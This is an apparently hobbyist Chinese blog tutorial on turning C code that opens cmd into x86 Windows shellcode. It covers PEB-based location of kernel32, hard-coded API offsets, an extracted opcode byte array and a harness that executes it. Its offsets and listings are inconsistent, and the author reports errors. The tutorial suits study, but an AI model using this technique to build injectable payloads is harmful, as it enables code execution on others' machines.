• C/C++ 到 shellcode 过程


    最简单的弹出cmd代码

    1 #include<stdio.h>
    2 #include <windows.h>
    3 void main()
    4 {
    5 system("start cmd");
    6 }

    为了确保system函数存在,加入LoadLibrary("msvcrt.dll");

    1 #include<stdio.h>
    2 #include <windows.h>
    3
    4 void main()
    5 {
    6 LoadLibrary("msvcrt.dll"); //载入system所在的dll
    7 system("start cmd");
    8 }

    下一步,就是汇编代码了(如果对一下代码,不太懂的建议搜索下栈帧

     1 #include<stdio.h>
    2 #include <windows.h>
    3
    4 void main()
    5 {
    6 // LoadLibrary("msvcrt.dll"); //载入system所在的dll
    7
    8 _asm{
    9 push ebp
    10 mov ebp,esp
    11 xor eax,eax
    12 push eax
    13 push eax
    14 push eax
    15
    16 mov byte ptr[ebp-0Ch],6Dh //m
    17 mov byte ptr[ebp-0Bh],73h //s
    18 mov byte ptr[ebp-0Ah],76h //v
    19 mov byte ptr[ebp-09h],63h //c
    20 mov byte ptr[ebp-08h],72h //r
    21 mov byte ptr[ebp-07h],74h //t
    22 mov byte ptr[ebp-06h],2Eh //.
    23 mov byte ptr[ebp-05h],64h //d
    24 mov byte ptr[ebp-04h],6Ch //l
    25 mov byte ptr[ebp-03h],6Ch //l
    26 lea esi,[ebp-0Ch]
    27
    28 push esi
    29 mov eax,xxxxxx地址
    30 call eax
    31 add esp,4
    32
    33 }
    34
    35 // system("start cmd");
    36 _asm{
    37
    38 push ebp
    39 mov ebp,esp
    40 xor eax,eax
    41 push eax
    42 push eax
    43 push eax
    44
    45 mov byte ptr[ebp-0Ch],73h //s
    46 mov byte ptr[ebp-0Bh],74h //t
    47 mov byte ptr[ebp-0Ah],61h //a
    48 mov byte ptr[ebp-09h],72h //r
    49 mov byte ptr[ebp-08h],74h //t
    50 mov byte ptr[ebp-07h],20h //
    51 mov byte ptr[ebp-06h],63h //c
    52 mov byte ptr[ebp-05h],6Dh //m
    53 mov byte ptr[ebp-04h],64h //d
    54 lea esi,[ebp-0Ch]
    55
    56 push esi
    57 mov eax,xxxxxx地址
    58 call eax
    59 add esp,4
    60 }
    61 }

    如果你用的是xp sp2以及以下版本,你可你将【xxxxxx地址】写成固定地址,但是在win7 vistar 版本,地址已经不是固定的了,所以,要首先确定地址,我们只要知道Loadlibary 和 GetProcAddress地址就可以猥琐了,哈哈,但是这些函数有kernel.dll提供,所以,先去找到kernel地址,推荐文章:

    标 题: 【原创】Win 7下定位kernel32.dll基址及shellcode编写
    作 者: Cryin
    时 间: 2010-10-14,22:19:43
    链 接: http://bbs.pediy.com/showthread.php?t=122260

    我就使用了文中

    1 assume FS:nothing 
    2 mov eax, FS:[30h]
    3 mov eax, [eax+0ch]
    4 mov eax, [eax+0ch]
    5 mov eax, [eax]
    6 mov eax, [eax]
    7 mov eax, [eax+18h

    现在我们可以获得kernel的地址了。我们还要知道LoadLibrary和GetProcess的地址,我自己写了份代码用来计算几个函数偏移的


     1 #include <windows.h>
    2 #include <stdio.h>
    3 typedef void (*MYPROC)(LPTSTR);
    4 int main()
    5 {
    6 HINSTANCE LibHandle;
    7 MYPROC ProcAdd;
    8 //------------------------------
    9 LibHandle = LoadLibrary("kernel32");
    10 printf("kernel32 LibHandle = //x%x\n", LibHandle);
    11 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibraryA");
    12 printf("LoadLibrary = //x%x\n\n", ProcAdd);
    13 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
    14
    15 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"GetProcAddress");
    16 printf("GetProcAddress = //x%x\n\n", ProcAdd);
    17 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
    18
    19 //--------------------
    20 LibHandle = LoadLibrary("user32");
    21 printf("user32 LibHandle = //x%x\n", LibHandle);
    22 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
    23 printf("MessageBoxA = //x%x\n\n", ProcAdd);
    24 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
    25 //----------------------
    26 LibHandle = LoadLibrary("msvcrt");
    27 printf("msvcrt LibHandle = //x%x\n", LibHandle);
    28 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
    29 printf("system = //x%x\n\n", ProcAdd);
    30 printf(" >//x%x\n\n", (int)ProcAdd - (int)LibHandle );
    31
    32 getchar();
    33 return 0;
    34 }

    运行得到

    DLLNAME        APINAME        OFFSET  //有问题: 最近本人更新了N多补丁发现 kernel32.dll被更新了,这时候的OFFSet有的值已经变化,导致错误(请阅读下篇文章)
    ------------------------------------------
    kernel32    loadlibraryA      149d7
                       

    kernel32   GetProcAddress    11222

    user32        MesageBoxA     6fd1e
        

    msvcrt        system             5b177h

    ---------------------------------------------

    具体代码思路是 通过kernel地址-->LoadLibrary地址-->得到system地址,还不明白看代码

     1 #include <stdio.h>
    2 #include <windows.h>
    3
    4 void main()
    5 {
    6
    7 _asm{
    8 // assume FS:nothing VC中寄存器已经初始化了。
    9 mov eax, FS:[30h]
    10 mov eax, [eax+0ch]
    11 mov eax, [eax+0ch]
    12 mov eax, [eax]
    13 mov eax, [eax]
    14 mov eax, [eax+18h]
    15 mov ebx,eax //kernel addr in ebx
    16
    17 //LoadLibrary("msvcrt.dll");
    18 push ebp
    19 mov ebp,esp
    20 xor eax,eax
    21 push eax
    22 push eax
    23 push eax
    24
    25 mov byte ptr[ebp-0Ch],6Dh //m
    26 mov byte ptr[ebp-0Bh],73h //s
    27 mov byte ptr[ebp-0Ah],76h //v
    28 mov byte ptr[ebp-09h],63h //c
    29 mov byte ptr[ebp-08h],72h //r
    30 mov byte ptr[ebp-07h],74h //t
    31 mov byte ptr[ebp-06h],2Eh //.
    32 mov byte ptr[ebp-05h],64h //d
    33 mov byte ptr[ebp-04h],6Ch //l
    34 mov byte ptr[ebp-03h],6Ch //l
    35 lea esi,[ebp-0Ch]
    36
    37 push esi
    38 mov eax,ebx
    39
    40 add eax,149d7h //得到LoadLibraryw地址
    41
    42 call eax
    43
    44 add esp,4
    45
    46 mov ebx,eax //MSCCRT.dll句柄(地址)在ecx中
    47 // system(start cmd );
    48 push ebp
    49 mov ebp,esp
    50 xor eax,eax
    51 push eax
    52 push eax
    53 push eax
    54
    55 mov byte ptr[ebp-0Ch],73h //s
    56 mov byte ptr[ebp-0Bh],74h //t
    57 mov byte ptr[ebp-0Ah],61h //a
    58 mov byte ptr[ebp-09h],72h //r
    59 mov byte ptr[ebp-08h],74h //t
    60 mov byte ptr[ebp-07h],20h //
    61 mov byte ptr[ebp-06h],63h //c
    62 mov byte ptr[ebp-05h],6Dh //m
    63 mov byte ptr[ebp-04h],64h //d
    64 lea esi,[ebp-0Ch]
    65
    66 push esi
    67 mov eax,ebx
    68 add eax,5b177h
    69 call eax
    70 add esp, 4
    71
    72 /**/
    73
    74
    75 }
    76
    77
    78 // printf("%x",hTest);
    79 getchar();
    80 }

    如果看明白了,那我们就asm--->shellcode 吧

    F10 进入调试模式,选择

    再右键 勾上codebytes 得到

      1 //  assume FS:nothing      VC中寄存器已经初始化了。
           |            |                           | shellcode  |
    2 9: mov eax, FS:[30h]
    3 00401028 64 A1 30 00 00 00 mov eax,fs:[00000030]            64 A1 30 00 00 00
    4 10: mov eax, [eax+0ch]                
    5 0040102E 8B 40 0C mov eax,dword ptr [eax+0Ch]         8E 40 0C
    6 11: mov eax, [eax+0ch]
    7 00401031 8B 40 0C mov eax,dword ptr [eax+0Ch]        下面也是这样,到底
    8 12: mov eax, [eax]
    9 00401034 8B 00 mov eax,dword ptr [eax]
    10 13: mov eax, [eax]
    11 00401036 8B 00 mov eax,dword ptr [eax]
    12 14: mov eax, [eax+18h]
    13 00401038 8B 40 18 mov eax,dword ptr [eax+18h]
    14 15: mov ebx,eax //kernel addr in ebx
    15 0040103B 8B D8 mov ebx,eax
    16 16:
    17 17: //LoadLibrary("msvcrt.dll");
    18 18: push ebp
    19 0040103D 55 push ebp
    20 19: mov ebp,esp
    21 0040103E 8B EC mov ebp,esp
    22 20: xor eax,eax
    23 00401040 33 C0 xor eax,eax
    24 21: push eax
    25 00401042 50 push eax
    26 22: push eax
    27 00401043 50 push eax
    28 23: push eax
    29 00401044 50 push eax
    30 24:
    31 25: mov byte ptr[ebp-0Ch],6Dh //m
    32 00401045 C6 45 F4 6D mov byte ptr [ebp-0Ch],6Dh
    33 26: mov byte ptr[ebp-0Bh],73h //s
    34 00401049 C6 45 F5 73 mov byte ptr [ebp-0Bh],73h
    35 27: mov byte ptr[ebp-0Ah],76h //v
    36 0040104D C6 45 F6 76 mov byte ptr [ebp-0Ah],76h
    37 28: mov byte ptr[ebp-09h],63h //c
    38 00401051 C6 45 F7 63 mov byte ptr [ebp-9],63h
    39 29: mov byte ptr[ebp-08h],72h //r
    40 00401055 C6 45 F8 72 mov byte ptr [ebp-8],72h
    41 30: mov byte ptr[ebp-07h],74h //t
    42 00401059 C6 45 F9 74 mov byte ptr [ebp-7],74h
    43 31: mov byte ptr[ebp-06h],2Eh //.
    44 0040105D C6 45 FA 2E mov byte ptr [ebp-6],2Eh
    45 32: mov byte ptr[ebp-05h],64h //d
    46 00401061 C6 45 FB 64 mov byte ptr [ebp-5],64h
    47 33: mov byte ptr[ebp-04h],6Ch //l
    48 00401065 C6 45 FC 6C mov byte ptr [ebp-4],6Ch
    49 34: mov byte ptr[ebp-03h],6Ch //l
    50 00401069 C6 45 FD 6C mov byte ptr [ebp-3],6Ch
    51 35: lea esi,[ebp-0Ch]
    52 0040106D 8D 75 F4 lea esi,[ebp-0Ch]
    53 36:
    54 37: push esi
    55 00401070 56 push esi
    56 38: mov eax,ebx
    57 00401071 8B C3 mov eax,ebx
    58 39:
    59 40: add eax,149d7h //得到LoadLibraryw地址
    60 00401073 05 D7 49 01 00 add eax,149D7h
    61 41:
    62 42: call eax
    63 00401078 FF D0 call eax
    64 43:
    65 44: add esp,4
    66 0040107A 83 C4 04 add esp,4
    67 45:
    68 46: mov ecx,eax //MSCCRT.dll句柄(地址)在ecx中
    69 0040107D 8B C8 mov ecx,eax
    70 47: // system(start cmd );
    71 48: push ebp
    72 0040107F 55 push ebp
    73 49: mov ebp,esp
    74 00401080 8B EC mov ebp,esp
    75 50: xor eax,eax
    76 00401082 33 C0 xor eax,eax
    77 51: push eax
    78 00401084 50 push eax
    79 52: push eax
    80 00401085 50 push eax
    81 53: push eax
    82 00401086 50 push eax
    83 54:
    84 55: mov byte ptr[ebp-0Ch],73h //s
    85 00401087 C6 45 F4 73 mov byte ptr [ebp-0Ch],73h
    86 56: mov byte ptr[ebp-0Bh],74h //t
    87 0040108B C6 45 F5 74 mov byte ptr [ebp-0Bh],74h
    88 57: mov byte ptr[ebp-0Ah],61h //a
    89 0040108F C6 45 F6 61 mov byte ptr [ebp-0Ah],61h
    90 58: mov byte ptr[ebp-09h],72h //r
    91 00401093 C6 45 F7 72 mov byte ptr [ebp-9],72h
    92 59: mov byte ptr[ebp-08h],74h //t
    93 00401097 C6 45 F8 74 mov byte ptr [ebp-8],74h
    94 60: mov byte ptr[ebp-07h],20h //
    95 0040109B C6 45 F9 20 mov byte ptr [ebp-7],20h
    96 61: mov byte ptr[ebp-06h],63h //c
    97 0040109F C6 45 FA 63 mov byte ptr [ebp-6],63h
    98 62: mov byte ptr[ebp-05h],6Dh //m
    99 004010A3 C6 45 FB 6D mov byte ptr [ebp-5],6Dh
    100 63: mov byte ptr[ebp-04h],64h //d
    101 004010A7 C6 45 FC 64 mov byte ptr [ebp-4],64h
    102 64: lea esi,[ebp-0Ch]
    103 004010AB 8D 75 F4 lea esi,[ebp-0Ch]
    104 65:
    105 66: push esi
    106 004010AE 56 push esi
    107 67: mov eax,ecx
    108 004010AF 8B C1 mov eax,ecx
    109 68: add eax,5b16fh
    110 004010B1 05 6F B1 05 00 add eax,5B16Fh
    111 69: call eax
    112 004010B6 FF D0 call eax
    113 70: add esp, 4
    114 004010B8 83 C4 04 add esp,4
    115 71:
    116 72: /**/


    我们现在得到了 64 A1 30 00 00 00。。。。83 C4 04 的数字。

    下面真正的shellcode 就要出来了(手动改成如下格式,我是这么弄得,只是为了简单测试)

    0x64,0xA1,0x30,0x00,0x00,0x00, 。。。0x83,0xC4,0x04

    测试shellcode

     1 #include <stdio.h>
    2 /*验证shellcode专用*/
    3 int main()
    4 {
    5
    6 unsigned char shellcode[] = {
    7 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
    8 0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,
    9 0xD8,0x55,0x8B,0xEC,0x33,0xC0,0x50,0x50,0x50,0xC6,
    10 0x45,0xF4,0x6D,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,
    11 0x76,0xC6,0x45,0xF7,0x63,0xC6,0x45,0xF8,0x72,0xC6,
    12 0x45,0xF9,0x74,0xC6,0x45,0xFA,0x2E,0xC6,0x45,0xFB,
    13 0x64,0xC6,0x45,0xFC,0x6C,0xC6,0x45,0xFD,0x6C,0x8D,
    14 0x75,0xF4,0x56,0x8B,0xC3,0x05,0xD7,0x49,0x01,0x00,
    15 0xFF,0xD0,0x83,0xC4,0x04,0x8B,0xD8,0x55,0x8B,0xEC,
    16 0x33,0xC0,0x50,0x50,0x50,0xC6,0x45,0xF4,0x73,0xC6,
    17 0x45,0xF5,0x74,0xC6,0x45,0xF6,0x61,0xC6,0x45,0xF7,
    18 0x72,0xC6,0x45,0xF8,0x74,0xC6,0x45,0xF9,0x20,0xC6,
    19 0x45,0xFA,0x63,0xC6,0x45,0xFB,0x6D,0xC6,0x45,0xFC,
    20 0x64,0x8D,0x75,0xF4,0x56,0x8B,0xC3,0x05,0x77,0xB1,
    21 0x05,0x00,0xFF,0xD0,0x83,0xC4,0x04
    22 };
    23 /* add esp,4
    24 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
    25 0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,
    26 0xD8,0x55,0x8B,0xEC,0x33,0xC0,0x50,0x50,0x50,0xC6,
    27 0x45,0xF4,0x6D,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,
    28 0x76,0xC6,0x45,0xF7,0x63,0xC6,0x45,0xF8,0x72,0xC6,
    29 0x45,0xF9,0x74,0xC6,0x45,0xFA,0x2E,0xC6,0x45,0xFB,
    30 0x64,0xC6,0x45,0xFC,0x6C,0xC6,0x45,0xFD,0x6C,0x8D,
    31 0x75,0xF4,0x56,0x8B,0xC3,0x05,0xD7,0x49,0x01,0x00,
    32 0xFF,0xD0,0x83,0xC4,0x04,0x8B,0xD8,0x55,0x8B,0xEC,
    33 0x33,0xC0,0x50,0x50,0x50,0xC6,0x45,0xF4,0x73,0xC6,
    34 0x45,0xF5,0x74,0xC6,0x45,0xF6,0x61,0xC6,0x45,0xF7,
    35 0x72,0xC6,0x45,0xF8,0x74,0xC6,0x45,0xF9,0x20,0xC6,
    36 0x45,0xFA,0x63,0xC6,0x45,0xFB,0x6D,0xC6,0x45,0xFC,
    37 0x64,0x8D,0x75,0xF4,0x56,0x8B,0xC3,0x05,0x77,0xB1,
    38 0x05,0x00,0xFF,0xD0,0x83,0xC4,0x04
    39
    40 */
    41 /*
    42 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
    43 0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,
    44 0xD8,0x55,0x8B,0xEC,0x33,0xC0,0x50,0x50,0x50,0xC6,
    45 0x45,0xF4,0x6D,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,
    46 0x76,0xC6,0x45,0xF7,0x63,0xC6,0x45,0xF8,0x72,0xC6,
    47 0x45,0xF9,0x74,0xC6,0x45,0xFA,0x2E,0xC6,0x45,0xFB,
    48 0x64,0xC6,0x45,0xFC,0x6C,0xC6,0x45,0xFD,0x6C,0x8D,
    49 0x75,0xF4,0x56,0x8B,0xC3,0x05,0xD7,0x49,0x01,0x00,
    50 0xFF,0xD0,0x83,0xC4,0x04,0x8B,0xC8,0x55,0x8B,0xEC,
    51 0x33,0xC0,0x50,0x50,0x50,0xC6,0x45,0xF4,0x73,0xC6,
    52 0x45,0xF5,0x74,0xC6,0x45,0xF6,0x61,0xC6,0x45,0xF7,
    53 0x72,0xC6,0x45,0xF8,0x74,0xC6,0x45,0xF9,0x20,0xC6,
    54 0x45,0xFA,0x63,0xC6,0x45,0xFB,0x6D,0xC6,0x45,0xFC,
    55 0x64,0x8D,0x75,0xF4,0x56,0x8B,0xC1,0x05,0x6F,0xB1,
    56 0x05,0x00,0xFF,0xD0,0x83,0xC4,0x04
    57
    58 */
    59
    60 printf("size of shellcode: %d\n", sizeof(shellcode));
    61
    62 getchar();
    63
    64 ((void (*)())&shellcode)();
    65
    66 return 0;
    67
    68 }


    回车后得到CMD,不过出错了,高人也帮忙看看这个白框怎么弄没了。

    菜鸟,希望对你有帮助。








  • 相关阅读:
    ORA-22835:缓冲区对于CLOB到CHAR转换而言太小
    C#发起Http请求,调用接口
    C#发起HTTP请求Post请求
    C# 调用HTTP接口两种方式Demo WebRequest/WebResponse 和WebApi
    SQL中的子查询
    C# 使用multipart form-data方式post数据到服务器
    批处理框架 Spring Batch 这么强,你会用吗
    JAVA基础(一)
    数据库---连接查询多表查询
    数据库---约束
  • 原文地址:https://www.cnblogs.com/witty/p/2417776.html
Copyright © 2020-2023  润新知